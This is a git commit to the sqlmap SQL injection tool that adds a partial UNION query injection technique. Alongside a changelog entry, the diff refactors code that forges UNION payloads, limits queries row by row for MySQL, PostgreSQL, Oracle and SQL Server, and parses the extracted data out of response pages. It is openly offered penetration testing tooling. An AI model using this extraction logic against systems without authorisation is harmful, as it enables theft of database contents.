Major enhancement to support Partial UNION query SQL injection technique too.

Minor code cleanup.
This commit is contained in:
Bernardo Damele 2008-12-10 17:23:07 +00:00
parent 9dbad512f1
commit 072eb7154c
6 changed files with 303 additions and 139 deletions

View File

@ -4,11 +4,13 @@ sqlmap (0.6.3-1) stable; urgency=low
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to support stacked queries (multiple staatements)
when the web application supports them which is useful for time based
blind sql injection test and will be used someday also by takeover
functionality;
* Minor enhancement to test if the injectable parameter is affected by
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
@ -20,6 +22,8 @@ sqlmap (0.6.3-1) stable; urgency=low
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'

View File

@ -53,12 +53,11 @@ class Agent:
injection statement to request
"""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
else:
negValue = ""
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
@ -231,6 +230,22 @@ class Agent:
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
@ -395,5 +410,55 @@ class Agent:
return inbandQuery
def limitQuery(self, num, query, fieldsList=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param fieldsList: list of fields within the query
@type fieldsList: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I):
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
return limitedQuery
# SQL agent
agent = Agent()

View File

@ -500,6 +500,7 @@ def cleanQuery(query):
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
return upperQuery
@ -624,3 +625,53 @@ def getRange(count, dump=False, plusOne=False):
indexRange = range(limitStart - 1, limitStop)
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data

View File

@ -31,6 +31,7 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
@ -166,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "does the SQL query that you provide might "
message += "return multiple entries? [Y/n] "
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
@ -185,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0:
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query that you provide can "
message += "return up to %d entries. How many " % count
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
@ -228,48 +229,21 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = expression
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output)
@ -282,6 +256,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
@ -294,7 +269,6 @@ def __goInband(expression, expected=None):
injection vulnerability on the affected parameter.
"""
counter = None
output = None
partial = False
data = []
@ -311,49 +285,10 @@ def __goInband(expression, expected=None):
partial = True
if not output:
output = unionUse(expression)
fields = expression.split(",")
counter = len(fields)
output = unionUse(expression, resetCounter=True)
if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
data = parseUnionPage(output, expression, partial, condition)
return data
@ -373,6 +308,14 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
if inband and conf.unionUse and kb.dbms:
value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)

View File

@ -24,13 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
@ -38,17 +42,23 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
def __unionPosition(count, expression, negative=False):
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
logMsg = "confirming %s inband sql injection on parameter " % negLogMsg
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
@ -72,7 +82,7 @@ def __unionPosition(count, expression, negative=False):
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
@ -86,9 +96,9 @@ def __unionPosition(count, expression, negative=False):
break
if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable "
logMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(logMsg)
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
@ -99,19 +109,26 @@ def __unionPosition(count, expression, negative=False):
logger.warn(warnMsg)
return count
def unionUse(expression):
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = 0
origExpr = expression
start = time.time()
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
@ -120,18 +137,19 @@ def unionUse(expression):
return
# Prepare expression with delimiters
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression)
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression, True)
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
@ -140,34 +158,134 @@ def unionUse(expression):
else:
conf.paramNegative = True
# TODO: if conf.paramNegative == True and query can returns multiple
# entries, get once per time in a for cycle, see lib/request/inject.py
# like for --sql-query and --sql-shell
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
logMsg = "query: %s" % query
logger.info(logMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if temp.start not in resultPage or temp.stop not in resultPage:
return
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
duration = int(time.time() - start)
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value

View File

@ -909,17 +909,6 @@ class Enumeration:
index += 1
if not self.dumpedTable:
if conf.unionUse:
warnMsg = "unable to retrieve the "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
@ -1041,12 +1030,6 @@ class Enumeration:
infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(infoMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
if " from " in query:
query = query.replace(" from ", " FROM ")
output = inject.getValue(query, fromUser=True)
if output == "Quit":